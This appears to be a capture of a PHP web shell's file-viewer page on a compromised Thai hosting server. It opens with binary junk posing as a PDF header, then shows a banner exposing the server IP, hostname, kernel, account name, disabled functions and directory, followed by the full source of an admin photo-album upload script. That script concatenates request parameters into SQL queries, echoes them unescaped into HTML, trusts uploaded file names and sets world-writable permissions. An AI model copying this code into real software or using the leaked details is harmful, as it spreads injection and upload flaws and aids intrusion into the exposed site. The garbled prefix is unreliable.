%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.17.190 / Your IP : 216.73.216.31 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : bungkla ( 1054) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bungkla/public_html/albums/ |
Upload File : |
<?
session_start();
set_time_limit(0);
error_reporting(1);
ini_set('display_errors',1);
Header("Content-Type: text/html; charset=UTF-8");;
if($_SESSION[user]=="")
{
session_destroy();
$message = "กรุณา Login ก่อน.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
}
include("../include/function.php");
include("../include/config_db.php");
if($_GET["salb_id"]){$salb_id = $_GET["salb_id"];}else{$salb_id = $_POST["salb_id"];}
if($_GET["c_id"]){ $c_id = $_GET["c_id"];}else{$c_id = $_POST["c_id"];}
$c_alb_title = '';
if($salb_id){
if($salb_id != ''){
$sql = "select * from `activity_album` where (`id`='$salb_id')";
$dbquery = mysql_query($sql) or die("Can't send query!");
$num_rows = mysql_num_rows($dbquery);
if($num_rows>0){
$c_alb_title = mysql_result($dbquery, 0,"alb_title");
}
mysql_free_result($dbquery);
unset($dbquery);
} else {include("../include/close_db.php");die;}
}else {include("../include/close_db.php");die;}
function random_password($len)
{
srand((double)microtime()*10000000);
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
$ret_str = "";
$num = strlen($chars);
for($i = 0; $i < $len; $i++)
{
$ret_str.= $chars[rand()%$num];
$ret_str.="";
}
return $ret_str;
}
function amod_realpath($path)
{
return (function_exists('realpath')) ? realpath($path) : $path;
}
$file_dir = 'a'.$salb_id.'_a';
$uploald_dir = "../photoThumbnail/albums/".$file_dir;
$uploald_dir_thumb = $uploald_dir."/thumb";
if($_POST["chk_insert"]==1){
if(isset($salb_id))
{
$c_ald_item = 0;
$sql_t = "select * from `activity_album_detail` where (`alb_id`='".$salb_id."') order by `ald_item` Desc Limit 1 ";
$dbquery_t = mysql_query($sql_t);
$num_photo = mysql_num_rows($dbquery_t);
if($num_photo>0){
$c_ald_item = mysql_result($dbquery_t, 0,"ald_item");
mysql_free_result($dbquery_t);
}
if(isset($_FILES["files"]))
{
//สร้าง folder เก็บภาพต้นฉบับ
if ( !@file_exists(@amod_realpath($uploald_dir)) )
{
@mkdir($uploald_dir);
@chmod($uploald_dir, 0777);
if ( !@file_exists(@amod_realpath($uploald_dir)) )
{
echo"<br><br><h3><p align=\"center\"><font color='#0000BB'>ไม่สามารถสร้าง Directory !</font><br><br><a href='add_picture.php?salb_id=".$salb_id."#pageimage'>..กลับไปหน้าเพิ่มรูปภาพ..</a></p></h3></p></h3><br />";
include("../include/close_db.php");
die;
}
}else
{
@chmod($upload_dir, 0777);
}
// End
// สร้าง folder thumbnail เก็บภาพเล็ก
if ( !@file_exists(@amod_realpath($uploald_dir_thumb)) )
{
@mkdir($uploald_dir_thumb);
@chmod($uploald_dir_thumb, 0777);
if ( !@file_exists(@amod_realpath($uploald_dir_thumb)) )
{
echo"<br><br><h3><p align=\"center\"><font color='#0000BB'>ไม่สามารถสร้าง Directory Thumb !</font><br><br><a href='add_picture.php?salb_id=".$salb_id."#pageimage'>..กลับไปหน้าเพิ่มรูปภาพ..</a></p></h3></p></h3><br />";
include("../include/close_db.php");
die;
}
}else
{
@chmod($uploald_dir_thumb, 0777);
}
// End
foreach($_FILES['files']['tmp_name'] as $key => $val)
{
$c_ald_item = $c_ald_item + 1;
$passw = random_password(7);
$path = $uploald_dir;
$file = $_FILES['files']['tmp_name'][$key];
$file_name = $_FILES['files']['name'][$key];
$real_file =$file;
list($width, $height, $type, ) = getimagesize($real_file);
$new_type= "";
if($_FILES['files']['type'][$key]=="image/gif"){ $new_type="IMG_GIF"; }
if($_FILES['files']['type'][$key]=="image/png"){ $new_type="IMG_PNG"; }
if($_FILES['files']['type'][$key]=="image/pjpeg" || $_FILES['files']['type'][$key]=="image/jpeg" ){ $new_type="IMG_JPG"; }
$filenewcon = strstr($file_name,'.');
$filename = substr($file_name,0,strlen($file_name)-4);
$now = "_".date("Ymd");
if(strlen($filename) > 30)
{
$filename = trim(substr($filename,0,30));
}
$filename = $filename.'_';
if(!empty($file))
{
$filesize = $_FILES['files']['size'][$key];
if (($filesize > 1024000) || ($width > 640) || ($height > 680)) // ไฟล์ขนาด > 1 mb หรือ กว้าง > 640 หรือ สูง > 680 ลดขนาดไฟล์
{
if($width>=$height){
$new_width = 640;
$new_height = round(($new_width/$width) * $height);
}else{
$new_height = 680;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir/$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
if($width>=$height){
$new_width = 150;
$new_height = round(($new_width/$width) * $height);
}else{
$new_width = 250;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
}
else
{
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
if($width>=$height){
$new_width = 150;
$new_height = round(($new_width/$width) * $height);
}else{
$new_width = 250;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
// End thumbnails
// ภาพต้นฉบับ move จาก temp ไป folder เก็บภาพ
move_uploaded_file( $file ,"$path/$filename$passw$now$filenewcon");
@chmod("$path/$filename$passw$now$filenewcon", 0666);
//End move
}//if ($filesize > 1024000)
$filename = $filename.$passw.$now.$filenewcon;
$sql = "insert into `activity_album_detail` (`id`,`alb_id`,`ald_item`,`ald_name`,`ald_photopath`,`date_update`) values ('','$salb_id','$c_ald_item','','$filename',now())";
$dbquery = mysql_query($sql);
}//if(!empty($file))
}//foreach($_FILES['files']['tmp_name'] as $key => $val)
}//isset($_FILES["file"]))
}//if(isset($salb_id))
}//if($chk_insert==1)
if($_POST["chk_edit"]==1){
$c_ald_name = '';
if(isset($_POST['s_ald_name']))
{
$c_ald_name = $_POST['s_ald_name'];
}
if(isset($c_id))
{
if(isset($_FILES['filephoto']))
{
if(!empty($_FILES['filephoto']['name']))
{
$passw = random_password(7);
$path = $uploald_dir;
$file = $_FILES['filephoto']['tmp_name'];
$file_name = $_FILES['filephoto']['name'];
$real_file =$file;
list($width, $height, $type, ) = getimagesize($real_file);
$new_type= "";
if($_FILES['filephoto']['type']=="image/gif"){ $new_type="IMG_GIF"; }
if($_FILES['filephoto']['type']=="image/png"){ $new_type="IMG_PNG"; }
if($_FILES['filephoto']['type']=="image/pjpeg" || $_FILES['filephoto']['type']=="image/jpeg" ){ $new_type="IMG_JPG"; }
$filenewcon = strstr($file_name,'.');
$filename = substr($file_name,0,strlen($file_name)-4);
$now = "_".date("Ymd");
if(strlen($filename) > 30)
{
$filename = trim(substr($filename,0,30));
}
$filename = $filename.'_';
$filesize =$_FILES['filephoto']['size'];
if (($filesize > 1024000) || ($width > 640) || ($height > 680)) // ไฟล์ขนาด > 1 mb หรือ กว้าง > 640 หรือ สูง > 680 ลดขนาดไฟล์
{
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 1000px สูงไม่เกิน 667px
if($width>=$height){
$new_width = 640;
$new_height = round(($new_width/$width) * $height);
}else{
$new_height = 680;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir/$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
if($width>=$height){
$new_width = 150;
$new_height = round(($new_width/$width) * $height);
}else{
$new_width = 250;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
}
else
{
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
if($width>=$height){
$new_width = 150;
$new_height = round(($new_width/$width) * $height);
}else{
$new_width = 250;
$new_width = round(($new_height/$height) * $width);
}
$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
// End thumbnails
// ภาพต้นฉบับ move จาก temp ไป folder เก็บภาพ
move_uploaded_file( $file ,"$path/$filename$passw$now$filenewcon");
@chmod("$path/$filename$passw$now$filenewcon", 0666);
//End move
}//if ($filesize > 1024000)
$filename = $filename.$passw.$now.$filenewcon;
$sql = "update `activity_album_detail` set `ald_name`='$c_ald_name',`ald_photopath`='$filename',`date_update`=now() where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !4G");
}//if(!empty($file))
else
{
$sql = "update `activity_album_detail` set `ald_name`='$c_ald_name',`date_update`=now() where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !2g");
}
}//if(empty(trim($_FILES['filephoto']['name'])))
else
{
$sql = "update `activity_album_detail` set `ald_name`='$c_ald_name',`date_update`=now() where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !1g");
}
$c_id = "";
}//if(isset($c_id))
}//if($chk_edit==1)
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous">
<link href="../css/Image-Slider2.css" rel="stylesheet" type="text/css"/>
<link href="../css2/menu-left.css" rel="stylesheet" type="text/css"/>
<link rel="stylesheet" href="../css2/imgSlider.css">
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
</style>
<link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/>
<link href="../styles.css" rel="stylesheet" type="text/css" />
<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen">
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #ffffff;
font-family: 'Kanit', sans-serif;
}
.hflash {display: block;}
.style2 {color: #CC6633}
@media only screen and (max-width: 768px) {
.hflash {
display: none;
}
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<script>
function checkmaxupload(nvalue)
{
if(nvalue>20){
alert("จำนวนไฟล์ที่สามารถอัพโหลดได้ สูงสุด 20 ไฟล์ต่อครั้ง เท่านั้น");
document.getElementById("csubmit").style.display = "none";
return false;
} else {
document.getElementById("csubmit").style.display = "block";
}
}
function loadPicture(pid,fid)
{
var files = fid.files;
for (var i = 0; i < files.length; i++) {
var file = files[i];
var imageType = /image.*/;
if (!file.type.match(imageType)) {
continue;
}
var img=document.getElementById(pid);
img.file = file;
var reader = new FileReader();
reader.onload = (function(aImg) {
return function(e) {
aImg.src = e.target.result;
};
})(img);
reader.readAsDataURL(file);
}
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head>
<body style="background-repeat:no-repeat; background-position:top" font-family: 'Kanit', sans-serif;>
<!-- Header -->
<div align="center" >
<table width="1004" border="0" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">
<div align="center" class="hflash">
<table width="980" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><div align="center" class="image-box">
<table width="980" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center" valign="top"><a href="/index.php"><img src="../images/bn_home.png" width="150" height="53" border="0"></a></td>
</tr>
</table>
</div></td>
</tr>
<tr>
<th scope="col"><div align="left"><a href="http://www.tasak.go.th/index.php"></a></div></th>
</tr>
<tr>
<td height="" valign="top" background="../images/images/images/bg_03.png"> <a name="top_page"></a></td>
</tr>
<tr>
<td height="" valign="top" background="../images/images/images/bg_03.png">
<div align="center">
<table width="100%" border="0" cellspacing="0">
<tr align="center" >
<td height="22" align="left" class="styles1"> </td>
</tr>
<tr align="center" >
<td height="22" align="left" class="styles1"><div align="right"><a href="../admin/main.php" class="styles2">หน้า Admin </a>| <a href="./add_albums.php#top_page" class="styles2">หน้า อัลบั้ม </a>| <a href="../admin/signout.php" class="styles2">ออกจากระบบ </a></div></td>
</tr>
<tr>
<td align="center" valign="top" bgcolor="#0099FF"><div align="left"><!--<a href="../koo.zip" target="_blank" class="title-c"><img src="../images/19-2.gif" width="15" height="13" border="0"><span class="styles2"><strong> ดาวน์โหลดคู่มือการใช้งาน คลิก</strong></span></a>--></div></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</table>
</div> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</div>
<!-- End Header -->
<!-- Content -->
<div class="container">
<div class="row">
<div class="hidden-col col-sm-1"></div>
<div class="col-12 col-sm-10">
<div align="center"></div>
</td>
<div class="row" style="background-color: #ffffff;">
<div class="col-12">
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#ffffff" class="magnifyarea">
<tr bgcolor="#1f89d3">
<td colspan="4" align="center" bgcolor="#0099FF"><font color="#ffffff"><b>ภาพกิจกรรม อัลบั้ม [ID <?=$salb_id." ".$c_alb_title;;?>]</b></font> </td>
</tr>
</table>
</div>
</div>
<div class="row" style="background-color: #ffffff;">
<div class="col-12"> </div>
</div>
<!-- Form upload -->
<form id="myForm" action="add_picture.php?salb_id=<?=$salb_id;?>#top_page" method="POST" enctype="multipart/form-data">
<div class="row" style="background-color: #ffffff;">
<?
if(isset($_GET["c_id"]))
{
$sql_t = "select * from `activity_album_detail` where `id`='$c_id' ";
$dbquery_t = mysql_query($sql_t);
$num_photo_edit = mysql_num_rows($dbquery_t);
if($num_photo_edit>0)
{
$result_t = mysql_fetch_assoc($dbquery_t);
$id_DB = $result_t["id"];
$a_item = $result_t["ald_item"];
$photo_DB = $result_t["ald_photopath"];
$photo_DB = trim($photo_DB);
$c_ald_name = $result_t["ald_name"];
if($photo_DB != "")
{
$images = "../photoThumbnail/albums/a".$salb_id."_a/thumb/t_".$photo_DB;
}
else
{
$photo_DB = "noimage.gif";
$images = "images/".$photo_DB;
}
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr><td width="25%"> </td><td align="left"><b>แก้ไข [รูปที่ <?=$a_item;?>] </b></td></tr>
<tr><td colspan="2" height="5"></td></tr>
<tr>
<td> </td>
<td>
<img src="<?=$images;?>" height="100" id="photoImagephoto" align="absbottom" style="margin-bottom:5px;"><br>
<input type="file" name="filephoto" id="filephoto" size="30" onChange="loadPicture('photoImagephoto',this);">
</td>
</tr>
<tr><td colspan="2" height="3"></td></tr>
<tr>
<td align="right" valign="middle">ข้อความ : </td>
<td><input type="text" name="s_ald_name" id="s_ald_name" size="35" value="<?=$c_ald_name;?>" maxlength="100" style="margin-bottom:5px;"></td>
</tr>
<tr>
<td> </td>
<td>
<input type="submit" value="บันทึก" class="btn btn-primary btn-block" style="max-width:150px;">
<input type="hidden" name="salb_id" value="<?=$salb_id;?>">
<input type="hidden" name="c_id" value="<?=$c_id;?>">
<input type="hidden" name="chk_edit" value="1">
</td>
</tr>
<tr><td height="10" colspan="2"></td></tr>
</table>
<?
}//if($num_photo_edit>0)
} else {?>
<div class="hidden-sm col-md-1"></div>
<div class="col-sm-12 col-md-7">
<div class="form-group">
<input type="file" multiple name="files[]" id="files[]" class="form-control" onMouseOut="checkmaxupload(this.files.length);">อัพโหลดได้สูงสุด 15-20 ไฟล์ และขนาดไฟล์ทั้งหมดรวมกันไม่เกิน 150 Mb ต่อครั้ง
</div>
</div>
<div class="col-sm-12 col-md-3">
<div class="form-group" id="csubmit">
<input type="submit" value="อัพโหลดไฟล์" class="btn btn-primary btn-block">
<input type="hidden" name="salb_id" value="<?=$salb_id;?>">
<input type="hidden" name="chk_insert" value="1">
</div>
</div>
<div class="hidden-sm col-md-1"></div>
<?}?>
</div>
</form>
<!-- Display Upload files -->
<div class="row" style="background-color: #ffffff;">
<div class="col-12">
<table width="100%" border="1" cellspacing="0" cellpadding="0" align="center" bgcolor="#ffffff" class="magnifyarea">
<tr>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="top">
<?
$sh_order = $_GET["sh_order"];
if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;}
if($sh_order==1){$sh_order=0;}else{$sh_order=1;}
?>
<table width="100%" align="center" cellspacing="0" cellpadding="0" frame="below" >
<tr bgcolor="#f5eaea">
<td width="10%" colspan="2"> </a></td>
<td width="10%" align="center"><a href="add_picture.php?sd=1&sh_order=<?=$sh_order;?>&salb_id=<?=$salb_id;?>#top_page" target="_parent">รูปที่</a></td>
<td width="30%"> <a href="add_picture.php?sd=2&sh_order=<?=$sh_order;?>&salb_id=<?=$salb_id;?>#top_page" target="_parent">ข้อความ</a></td>
<td width="30%" align="center">ภาพ </td>
<td width="20%" align="center"><a href="add_picture.php?sd=3&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่บันทึก</a></td>
</tr>
</table>
<table width="100%" border="0" align="center" cellspacing="0" cellpadding="0" >
<?
$sql = "select * From `activity_album_detail` where (`alb_id`='".$salb_id."') ";
$sd = trim($_GET["sd"]);
switch ($sd) {
case '1': $sql .= "Order by `ald_item` "; break;
case '2': $sql .= "Order by `ald_name` "; break;
case '3': $sql .= "Order by `date_update` "; break;
//case '4': $sql .= "Order by `ald_counter` "; break;
default : $sql .= "Order by `id` ";
}
if($sh_order==1){$sql .= "DESC ";}else {$sql .= "ASC ";}
$item = 0;
$Per_Page = 20;
if(!$_GET['Page']){$Page=1;}else{$Page = $_GET['Page'];}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_start = ($Per_Page*$Page)-$Per_Page;
$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `activity_album_detail` where (`alb_id`='".$salb_id."') ";
$dbquery = mysql_query($sql_2);
$Num_Rows = mysql_num_rows($dbquery);
if($Num_Rows>0){
$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
}
mysql_free_result($dbquery);
unset($dbquery);
if($Num_Rows<=$Per_Page)
$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
$Num_Pages =($Num_Rows/$Per_Page) ;
else
$Num_Pages =($Num_Rows/$Per_Page) +1;
$Num_Pages = (int)$Num_Pages;
if(($Page>$Num_Pages) || ($Page<0))
print "<center><b>ยังไม่มีข้อมูล<b></center>";
$sql .= "LIMIT $Page_start , $Per_Page";
//ส่วนแสดงผล
$result = mysql_query($sql);
$item = ($Page-1) * $Per_Page;
While($row= mysql_fetch_assoc($result)){
$item = $item + 1;
$c_id = $row["id"];
$c_ald_item = $row["ald_item"];
$c_ald_name = $row["ald_name"];
$c_thumb = $row["ald_photopath"];
$c_thumb = trim($c_thumb);
$c_counter = $row["ald_counter"];
$c_date_update = $row["date_update"];
$file_dir = 'a'.$salb_id.'_a';
$images = "";
$images2 = "";
if($c_thumb != ""){
$images = "../photoThumbnail/albums/".$file_dir."/thumb/t_".$c_thumb;
$images2 = "../photoThumbnail/albums/".$file_dir."/".$c_thumb;
}
else{
$images = "images/noimage.gif";
$images2 = "images/noimage.gif";
}
$bcolor = "#ffffff";
if(($item %2)==0){
$bcolor = "#e5e5e5";
}
$code_1 = $c_ald_name;
?>
<tr> <td height="10" colspan="6"></td></tr>
<tr bgcolor="<?=$bcolor;?>">
<td width="5%" align="center">
<?
echo "<a href='add_picture.php?c_id=".$c_id."&salb_id=".$salb_id."#top_page'>แก้ไข</a> ";
?>
</td>
<td width="5%"align="center">
<?
echo "<a href='del_data.php?c_id=".$c_id."&chk_p=2&c_thumb=".$c_thumb."&code_id=".$salb_id."&sald_item=".$c_ald_item."&code_1=".$code_1."#toppage'>ลบ</a> ";
?>
</td>
<td width="10%" align="center">
<?= $c_ald_item;?>
</td>
<td width="30%">
<?= $c_ald_name;?>
</td>
<td width="30%" align="center">
<? echo "<a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"$images\" height=\"100\" alt=\"\" /></a> "; ?> </td>
<td width="20%" align="center">
<?= $c_date_update;?>
</td>
</tr>
<?}?>
</table>
<hr align="center" width="100%" noshade size="1">
<div align="center"><br><font size="2">
จำนวนรายการ :
<?= $Num_Rows;?> 
,หน้าทั้งหมด : <b>
<?=$Num_Pages;?>
</b> หน้า :
<?
$PHP_SELF = $_SERVER['PHP_SELF'];
if($Prev_Page)
echo " <a href='$PHP_SELF?Page=".$Prev_Page."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'><<ย้อนกลับ</a> ";
$Show_Page = 10;
$s1 = $Page - $Show_Page;
if($s1 <= 0 ){$s1 = 1;}
$s2 = $Page + $Show_Page;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
if($s1 == 1 ){
$s2 = $Show_Page+10;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
}
if(($s2 == $Num_Pages) &&($s1 != 1)){
$s1 = $Num_Pages-20;
if($s1 <= 0 ){$s1 = 1;}
}
for($i=$s1; $i<=$s2; $i++)
{
if($i != $Page)
{
echo "[<a href='$PHP_SELF?Page=".$i."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'>$i</a>]";
}
else
{
echo "<b> $i </b>";
}
}
if($Num_Pages>($i-1))
{
if($Num_Pages>($i+1))
{
$bNum_Pages = $Num_Pages - 1;
echo "...[<a href ='$PHP_SELF?Page=".$bNum_Pages."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'>".$bNum_Pages."</a>]";
}else if($Num_Pages==($i+1))
{
$bNum_Pages = $i;
echo "[<a href ='$PHP_SELF?Page=".$bNum_Pages."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'>".$bNum_Pages."</a>]";
}
echo "[<a href ='$PHP_SELF?Page=".$Num_Pages."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'>".$Num_Pages."</a>]";
}
if($Page!=$Num_Pages)
echo " <a href ='$PHP_SELF?Page=".$Next_Page."&sd=".$sd."&sh_order=".$sp_order."&salb_id=".$salb_id."#top_page'>ถัดไป>></a> ";
mysql_free_result($result);
unset($result);
unset($dbquery);
?>
</font>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
</div>
</div>
<div class="hidden-col col-sm-1"></div>
</div>
<div class="row"><div class="col"> <br> </div></div>
</div>
<!-- End Content -->
</body>
</html>
<?include("../include/close_db.php");?>